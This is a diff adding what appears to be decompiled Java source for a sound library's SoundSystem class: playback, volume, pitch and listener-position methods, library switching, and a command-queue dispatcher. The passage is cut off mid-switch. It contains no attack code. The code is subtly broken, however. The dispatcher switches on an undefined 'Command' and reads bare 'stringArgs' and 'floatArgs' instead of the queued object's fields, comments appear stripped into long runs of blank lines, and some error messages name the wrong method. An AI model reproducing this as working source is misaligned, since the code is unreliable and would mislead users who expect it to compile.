+    CommandQueue(new CommandObject(10, priority, true, toLoop, sourcename, new FilenameURL(url, identifier), x, y, z, attmodel, distOrRoll));
+    
+
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void rawDataStream(AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    CommandQueue(new CommandObject(11, audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll));
+    
+
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String quickPlay(boolean priority, String filename, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    String sourcename = "Source_" + randomNumberGenerator.nextInt() + "_" + randomNumberGenerator.nextInt();
+    
+
+
+
+    CommandQueue(new CommandObject(12, priority, false, toLoop, sourcename, new FilenameURL(filename), x, y, z, attmodel, distOrRoll, true));
+    
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+    
+
+    return sourcename;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String quickPlay(boolean priority, URL url, String identifier, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    String sourcename = "Source_" + randomNumberGenerator.nextInt() + "_" + randomNumberGenerator.nextInt();
+    
+
+
+
+    CommandQueue(new CommandObject(12, priority, false, toLoop, sourcename, new FilenameURL(url, identifier), x, y, z, attmodel, distOrRoll, true));
+    
+
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+    
+
+    return sourcename;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String quickStream(boolean priority, String filename, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    String sourcename = "Source_" + randomNumberGenerator.nextInt() + "_" + randomNumberGenerator.nextInt();
+    
+
+
+
+    CommandQueue(new CommandObject(12, priority, true, toLoop, sourcename, new FilenameURL(filename), x, y, z, attmodel, distOrRoll, true));
+    
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+    
+
+    return sourcename;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String quickStream(boolean priority, URL url, String identifier, boolean toLoop, float x, float y, float z, int attmodel, float distOrRoll)
+  {
+    String sourcename = "Source_" + randomNumberGenerator.nextInt() + "_" + randomNumberGenerator.nextInt();
+    
+
+
+
+    CommandQueue(new CommandObject(12, priority, true, toLoop, sourcename, new FilenameURL(url, identifier), x, y, z, attmodel, distOrRoll, true));
+    
+
+
+
+    CommandQueue(new CommandObject(24, sourcename));
+    
+    commandThread.interrupt();
+    
+
+    return sourcename;
+  }
+  
+
+
+
+
+
+
+
+  public void setPosition(String sourcename, float x, float y, float z)
+  {
+    CommandQueue(new CommandObject(13, sourcename, x, y, z));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public void setVolume(String sourcename, float value)
+  {
+    CommandQueue(new CommandObject(14, sourcename, value));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+  public float getVolume(String sourcename)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (soundLibrary != null) {
+        return soundLibrary.getVolume(sourcename);
+      }
+      return 0.0F;
+    }
+  }
+  
+
+
+
+
+
+  public void setPitch(String sourcename, float value)
+  {
+    CommandQueue(new CommandObject(15, sourcename, value));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+  public float getPitch(String sourcename)
+  {
+    if (soundLibrary != null) {
+      return soundLibrary.getPitch(sourcename);
+    }
+    return 1.0F;
+  }
+  
+
+
+
+
+
+
+  public void setPriority(String sourcename, boolean pri)
+  {
+    CommandQueue(new CommandObject(16, sourcename, pri));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public void setLooping(String sourcename, boolean lp)
+  {
+    CommandQueue(new CommandObject(17, sourcename, lp));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+  public void setAttenuation(String sourcename, int model)
+  {
+    CommandQueue(new CommandObject(18, sourcename, model));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+  public void setDistOrRoll(String sourcename, float dr)
+  {
+    CommandQueue(new CommandObject(19, sourcename, dr));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+  public void changeDopplerFactor(float dopplerFactor)
+  {
+    CommandQueue(new CommandObject(20, dopplerFactor));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+  public void changeDopplerVelocity(float dopplerVelocity)
+  {
+    CommandQueue(new CommandObject(21, dopplerVelocity));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setVelocity(String sourcename, float x, float y, float z)
+  {
+    CommandQueue(new CommandObject(22, sourcename, x, y, z));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+  public void setListenerVelocity(float x, float y, float z)
+  {
+    CommandQueue(new CommandObject(23, x, y, z));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public float millisecondsPlayed(String sourcename)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      return soundLibrary.millisecondsPlayed(sourcename);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void feedRawAudioData(String sourcename, byte[] buffer)
+  {
+    CommandQueue(new CommandObject(25, sourcename, buffer));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void play(String sourcename)
+  {
+    CommandQueue(new CommandObject(24, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void pause(String sourcename)
+  {
+    CommandQueue(new CommandObject(26, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void stop(String sourcename)
+  {
+    CommandQueue(new CommandObject(27, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void rewind(String sourcename)
+  {
+    CommandQueue(new CommandObject(28, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void flush(String sourcename)
+  {
+    CommandQueue(new CommandObject(29, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+  public void cull(String sourcename)
+  {
+    CommandQueue(new CommandObject(30, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+  public void activate(String sourcename)
+  {
+    CommandQueue(new CommandObject(31, sourcename));
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setTemporary(String sourcename, boolean temporary)
+  {
+    CommandQueue(new CommandObject(32, sourcename, temporary));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public void removeSource(String sourcename)
+  {
+    CommandQueue(new CommandObject(33, sourcename));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+  public void moveListener(float x, float y, float z)
+  {
+    CommandQueue(new CommandObject(34, x, y, z));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+  public void setListenerPosition(float x, float y, float z)
+  {
+    CommandQueue(new CommandObject(35, x, y, z));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public void turnListener(float angle)
+  {
+    CommandQueue(new CommandObject(36, angle));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+  public void setListenerAngle(float angle)
+  {
+    CommandQueue(new CommandObject(37, angle));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void setListenerOrientation(float lookX, float lookY, float lookZ, float upX, float upY, float upZ)
+  {
+    CommandQueue(new CommandObject(38, lookX, lookY, lookZ, upX, upY, upZ));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public void setMasterVolume(float value)
+  {
+    CommandQueue(new CommandObject(39, value));
+    
+    commandThread.interrupt();
+  }
+  
+
+
+
+
+  public float getMasterVolume()
+  {
+    return SoundSystemConfig.getMasterGain();
+  }
+  
+
+
+
+
+
+  public ListenerData getListenerData()
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      return soundLibrary.getListenerData();
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean switchLibrary(Class libraryClass)
+    throws SoundSystemException
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      initialized(true, false);
+      
+      HashMap<String, Source> sourceMap = null;
+      ListenerData listenerData = null;
+      
+      boolean wasMidiChannel = false;
+      MidiChannel midiChannel = null;
+      FilenameURL midiFilenameURL = null;
+      String midiSourcename = "";
+      boolean midiToLoop = true;
+      
+      if (soundLibrary != null)
+      {
+        currentLibrary(true, null);
+        sourceMap = copySources(soundLibrary.getSources());
+        listenerData = soundLibrary.getListenerData();
+        midiChannel = soundLibrary.getMidiChannel();
+        if (midiChannel != null)
+        {
+          wasMidiChannel = true;
+          midiToLoop = midiChannel.getLooping();
+          midiSourcename = midiChannel.getSourcename();
+          midiFilenameURL = midiChannel.getFilenameURL();
+        }
+        
+        soundLibrary.cleanup();
+        soundLibrary = null;
+      }
+      message("", 0);
+      message("Switching to " + SoundSystemConfig.getLibraryTitle(libraryClass), 0);
+      
+      message("(" + SoundSystemConfig.getLibraryDescription(libraryClass) + ")", 1);
+      
+
+      try
+      {
+        soundLibrary = ((Library)libraryClass.newInstance());
+      }
+      catch (InstantiationException ie)
+      {
+        errorMessage("The specified library did not load properly", 1);
+      }
+      catch (IllegalAccessException iae)
+      {
+        errorMessage("The specified library did not load properly", 1);
+      }
+      catch (ExceptionInInitializerError eiie)
+      {
+        errorMessage("The specified library did not load properly", 1);
+      }
+      catch (SecurityException se)
+      {
+        errorMessage("The specified library did not load properly", 1);
+      }
+      
+      if (errorCheck(soundLibrary == null, "Library null after initialization in method 'switchLibrary'", 1))
+      {
+
+        SoundSystemException sse = new SoundSystemException(className + " did not load properly.  " + "Library was null after initialization.", 4);
+        
+
+
+        lastException(true, sse);
+        initialized(true, true);
+        throw sse;
+      }
+      
+      try
+      {
+        soundLibrary.init();
+      }
+      catch (SoundSystemException sse)
+      {
+        lastException(true, sse);
+        initialized(true, true);
+        throw sse;
+      }
+      
+      soundLibrary.setListenerData(listenerData);
+      if (wasMidiChannel)
+      {
+        if (midiChannel != null)
+          midiChannel.cleanup();
+        midiChannel = new MidiChannel(midiToLoop, midiSourcename, midiFilenameURL);
+        
+        soundLibrary.setMidiChannel(midiChannel);
+      }
+      soundLibrary.copySources(sourceMap);
+      
+      message("", 0);
+      
+      lastException(true, null);
+      initialized(true, true);
+      
+      return true;
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean newLibrary(Class libraryClass)
+    throws SoundSystemException
+  {
+    initialized(true, false);
+    
+    CommandQueue(new CommandObject(40, libraryClass));
+    
+    commandThread.interrupt();
+    
+    for (int x = 0; (!initialized(false, false)) && (x < 100); x++)
+    {
+      snooze(400L);
+      commandThread.interrupt();
+    }
+    
+    if (!initialized(false, false))
+    {
+      SoundSystemException sse = new SoundSystemException(className + " did not load after 30 seconds.", 4);
+      
+
+
+      lastException(true, sse);
+      throw sse;
+    }
+    
+
+    SoundSystemException sse = lastException(false, null);
+    if (sse != null) {
+      throw sse;
+    }
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandNewLibrary(Class libraryClass)
+  {
+    initialized(true, false);
+    
+    String headerMessage = "Initializing ";
+    if (soundLibrary != null)
+    {
+      currentLibrary(true, null);
+      
+      headerMessage = "Switching to ";
+      soundLibrary.cleanup();
+      soundLibrary = null;
+    }
+    message(headerMessage + SoundSystemConfig.getLibraryTitle(libraryClass), 0);
+    
+    message("(" + SoundSystemConfig.getLibraryDescription(libraryClass) + ")", 1);
+    
+
+    try
+    {
+      soundLibrary = ((Library)libraryClass.newInstance());
+    }
+    catch (InstantiationException ie)
+    {
+      errorMessage("The specified library did not load properly", 1);
+    }
+    catch (IllegalAccessException iae)
+    {
+      errorMessage("The specified library did not load properly", 1);
+    }
+    catch (ExceptionInInitializerError eiie)
+    {
+      errorMessage("The specified library did not load properly", 1);
+    }
+    catch (SecurityException se)
+    {
+      errorMessage("The specified library did not load properly", 1);
+    }
+    
+    if (errorCheck(soundLibrary == null, "Library null after initialization in method 'newLibrary'", 1))
+    {
+
+      lastException(true, new SoundSystemException(className + " did not load properly.  " + "Library was null after initialization.", 4));
+      
+
+
+      importantMessage("Switching to silent mode", 1);
+      
+      try
+      {
+        soundLibrary = new Library();
+      }
+      catch (SoundSystemException sse)
+      {
+        lastException(true, new SoundSystemException("Silent mode did not load properly.  Library was null after initialization.", 4));
+        
+
+
+        initialized(true, true);
+        return;
+      }
+    }
+    
+    try
+    {
+      soundLibrary.init();
+    }
+    catch (SoundSystemException sse)
+    {
+      lastException(true, sse);
+      initialized(true, true);
+      return;
+    }
+    
+    lastException(true, null);
+    initialized(true, true);
+  }
+  
+
+
+
+
+
+
+  private void CommandInitialize()
+  {
+    try
+    {
+      if (errorCheck(soundLibrary == null, "Library null after initialization in method 'CommandInitialize'", 1))
+      {
+
+
+        SoundSystemException sse = new SoundSystemException(className + " did not load properly.  " + "Library was null after initialization.", 4);
+        
+
+
+        lastException(true, sse);
+        throw sse;
+      }
+      soundLibrary.init();
+    }
+    catch (SoundSystemException sse)
+    {
+      lastException(true, sse);
+      initialized(true, true);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandLoadSound(FilenameURL filenameURL)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.loadSound(filenameURL);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandLoadSound'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandLoadSound(SoundBuffer buffer, String identifier)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.loadSound(buffer, identifier);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandLoadSound'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandUnloadSound(String filename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.unloadSound(filename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandLoadSound'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void CommandQueueSound(String sourcename, FilenameURL filenameURL)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.queueSound(sourcename, filenameURL);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandQueueSound'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandDequeueSound(String sourcename, String filename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.dequeueSound(sourcename, filename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandDequeueSound'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandFadeOut(String sourcename, FilenameURL filenameURL, long milis)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.fadeOut(sourcename, filenameURL, milis);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandFadeOut'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandFadeOutIn(String sourcename, FilenameURL filenameURL, long milisOut, long milisIn)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.fadeOutIn(sourcename, filenameURL, milisOut, milisIn);
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandFadeOutIn'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandCheckFadeVolumes()
+  {
+    if (soundLibrary != null) {
+      soundLibrary.checkFadeVolumes();
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandCheckFadeVolumes'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandNewSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distORroll)
+  {
+    if (soundLibrary != null)
+    {
+      if ((filenameURL.getFilename().matches(SoundSystemConfig.EXTENSION_MIDI)) && (!SoundSystemConfig.midiCodec()))
+      {
+
+
+        soundLibrary.loadMidi(toLoop, sourcename, filenameURL);
+      }
+      else
+      {
+        soundLibrary.newSource(priority, toStream, toLoop, sourcename, filenameURL, x, y, z, attModel, distORroll);
+      }
+      
+
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandNewSource'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandRawDataStream(AudioFormat audioFormat, boolean priority, String sourcename, float x, float y, float z, int attModel, float distOrRoll)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.rawDataStream(audioFormat, priority, sourcename, x, y, z, attModel, distOrRoll);
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandRawDataStream'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandQuickPlay(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float x, float y, float z, int attModel, float distORroll, boolean temporary)
+  {
+    if (soundLibrary != null)
+    {
+      if ((filenameURL.getFilename().matches(SoundSystemConfig.EXTENSION_MIDI)) && (!SoundSystemConfig.midiCodec()))
+      {
+
+        soundLibrary.loadMidi(toLoop, sourcename, filenameURL);
+      }
+      else
+      {
+        soundLibrary.quickPlay(priority, toStream, toLoop, sourcename, filenameURL, x, y, z, attModel, distORroll, temporary);
+      }
+      
+
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandQuickPlay'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  private void CommandSetPosition(String sourcename, float x, float y, float z)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setPosition(sourcename, x, y, z);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandMoveSource'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandSetVolume(String sourcename, float value)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setVolume(sourcename, value);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetVolume'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandSetPitch(String sourcename, float value)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setPitch(sourcename, value);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetPitch'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandSetPriority(String sourcename, boolean pri)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setPriority(sourcename, pri);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetPriority'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandSetLooping(String sourcename, boolean lp)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setLooping(sourcename, lp);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetLooping'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandSetAttenuation(String sourcename, int model)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setAttenuation(sourcename, model);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetAttenuation'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandSetDistOrRoll(String sourcename, float dr)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setDistOrRoll(sourcename, dr);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetDistOrRoll'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandChangeDopplerFactor(float dopplerFactor)
+  {
+    if (soundLibrary != null)
+    {
+      SoundSystemConfig.setDopplerFactor(dopplerFactor);
+      soundLibrary.dopplerChanged();
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetDopplerFactor'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandChangeDopplerVelocity(float dopplerVelocity)
+  {
+    if (soundLibrary != null)
+    {
+      SoundSystemConfig.setDopplerVelocity(dopplerVelocity);
+      soundLibrary.dopplerChanged();
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetDopplerFactor'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandSetVelocity(String sourcename, float x, float y, float z)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setVelocity(sourcename, x, y, z);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandVelocity'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  private void CommandSetListenerVelocity(float x, float y, float z)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setListenerVelocity(x, y, z);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetListenerVelocity'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandPlay(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.play(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandPlay'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  private void CommandFeedRawAudioData(String sourcename, byte[] buffer)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.feedRawAudioData(sourcename, buffer);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandFeedRawAudioData'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandPause(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.pause(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandPause'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandStop(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.stop(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandStop'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandRewind(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.rewind(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandRewind'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandFlush(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.flush(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandFlush'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandSetTemporary(String sourcename, boolean temporary)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setTemporary(sourcename, temporary);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetActive'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandRemoveSource(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.removeSource(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandRemoveSource'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandMoveListener(float x, float y, float z)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.moveListener(x, y, z);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandMoveListener'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandSetListenerPosition(float x, float y, float z)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setListenerPosition(x, y, z);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetListenerPosition'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandTurnListener(float angle)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.turnListener(angle);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandTurnListener'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandSetListenerAngle(float angle)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setListenerAngle(angle);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetListenerAngle'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private void CommandSetListenerOrientation(float lookX, float lookY, float lookZ, float upX, float upY, float upZ)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setListenerOrientation(lookX, lookY, lookZ, upX, upY, upZ);
+    }
+    else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetListenerOrientation'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void CommandCull(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.cull(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandCull'", 0);
+    }
+  }
+  
+
+
+
+
+
+  private void CommandActivate(String sourcename)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.activate(sourcename);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandActivate'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+  private void CommandSetMasterVolume(float value)
+  {
+    if (soundLibrary != null) {
+      soundLibrary.setMasterVolume(value);
+    } else {
+      errorMessage("Variable 'soundLibrary' null in method 'CommandSetMasterVolume'", 0);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected void ManageSources() {}
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public boolean CommandQueue(CommandObject newCommand)
+  {
+    synchronized (SoundSystemConfig.THREAD_SYNC)
+    {
+      if (newCommand == null)
+      {
+
+        boolean activations = false;
+        
+
+
+        while ((commandQueue != null) && (commandQueue.size() > 0))
+        {
+
+          CommandObject commandObject = (CommandObject)commandQueue.remove(0);
+          
+          if (commandObject != null)
+          {
+            switch (Command)
+            {
+            case 1: 
+              CommandInitialize();
+              break;
+            case 2: 
+              CommandLoadSound((FilenameURL)objectArgs[0]);
+              
+              break;
+            case 3: 
+              CommandLoadSound((SoundBuffer)objectArgs[0], stringArgs[0]);
+              
+
+              break;
+            case 4: 
+              CommandUnloadSound(stringArgs[0]);
+              break;
+            case 5: 
+              CommandQueueSound(stringArgs[0], (FilenameURL)objectArgs[0]);
+              
+              break;
+            case 6: 
+              CommandDequeueSound(stringArgs[0], stringArgs[1]);
+              
+              break;
+            case 7: 
+              CommandFadeOut(stringArgs[0], (FilenameURL)objectArgs[0], longArgs[0]);
+              
+
+              break;
+            case 8: 
+              CommandFadeOutIn(stringArgs[0], (FilenameURL)objectArgs[0], longArgs[0], longArgs[1]);
+              
+
+
+              break;
+            case 9: 
+              CommandCheckFadeVolumes();
+              break;
+            case 10: 
+              CommandNewSource(boolArgs[0], boolArgs[1], boolArgs[2], stringArgs[0], (FilenameURL)objectArgs[0], floatArgs[0], floatArgs[1], floatArgs[2], intArgs[0], floatArgs[3]);
+              
+
+
+
+
+
+
+
+
+              break;
+            case 11: 
+              CommandRawDataStream((AudioFormat)objectArgs[0], boolArgs[0], stringArgs[0], floatArgs[0], floatArgs[1], floatArgs[2], intArgs[0], floatArgs[3]);
+              
+
+
+
+
+
+
+
+              break;
+            case 12: 
+              CommandQuickPlay(boolArgs[0], boolArgs[1], boolArgs[2], stringArgs[0], (FilenameURL)objectArgs[0], floatArgs[0], floatArgs[1], floatArgs[2], intArgs[0], floatArgs[3], boolArgs[3]);
+              
+
+
+
+
+
+
+
+
+
+              break;
+            case 13: 
+              CommandSetPosition(stringArgs[0], floatArgs[0], floatArgs[1], floatArgs[2]);
+              
+
+
+              break;
+            case 14: 
+              CommandSetVolume(stringArgs[0], floatArgs[0]);
+              
+              break;
+            case 15: 
+              CommandSetPitch(stringArgs[0], floatArgs[0]);
+              
+              break;
+            case 16: 
+              CommandSetPriority(stringArgs[0], boolArgs[0]);
+              
+              break;
+            case 17: 
+              CommandSetLooping(stringArgs[0], boolArgs[0]);
+              
+              break;
+            case 18: 
+              CommandSetAttenuation(stringArgs[0], intArgs[0]);
+              
+              break;
+            case 19: 
+              CommandSetDistOrRoll(stringArgs[0], floatArgs[0]);
+              
+              break;
+            case 20: 
+              CommandChangeDopplerFactor(floatArgs[0]);
+              
+              break;
+            case 21: 
+              CommandChangeDopplerVelocity(floatArgs[0]);
+              
+              break;
+            case 22: 
+              CommandSetVelocity(stringArgs[0], floatArgs[0], floatArgs[1], floatArgs[2]);
+              
+
+
+
+              break;
+            case 23: 
+              CommandSetListenerVelocity(floatArgs[0], floatArgs[1], floatArgs[2]);
+              
+
+
+
+              break;
+            
+
+
+
+
+            case 24: 
+              sourcePlayList.add(commandObject);
+              break;
+            case 25: 
+              sourcePlayList.add(commandObject);
+              break;
+            
+            case 26: 
+              CommandPause(stringArgs[0]);
+              break;
+            case 27: 
+              CommandStop(stringArgs[0]);
+              break;
+            case 28: 
+              CommandRewind(stringArgs[0]);
+              break;
+            case 29: 
+              CommandFlush(stringArgs[0]);
+              break;
+            case 30: 
+              CommandCull(stringArgs[0]);
+              break;
+            case 31: 
+              activations = true;
+              CommandActivate(stringArgs[0]);
+              break;
+            case 32: 
+              CommandSetTemporary(stringArgs[0], boolArgs[0]);
+              
+              break;
+            case 33: 
+              CommandRemoveSource(stringArgs[0]);
+              break;
+            case 34: 
+              CommandMoveListener(floatArgs[0], floatArgs[1], floatArgs[2]);
+              
+
+              break;
+            case 35: 
+              CommandSetListenerPosition(floatArgs[0], floatArgs[1], floatArgs[2]);
+              
+
+
+              break;
+            case 36: 
+              CommandTurnListener(floatArgs[0]);
+              break;
+            case 37: 
+              CommandSetListenerAngle(floatArgs[0]);
+              
+              break;
+            case 38: 
+              CommandSetListenerOrientation(floatArgs[0], floatArgs[1], floatArgs[2], floatArgs[3], floatArgs[4], floatArgs[5]);
+              
+
+
+
+
+
+              break;
+            case 39: 
+              CommandSetMasterVolume(floatArgs[0]);
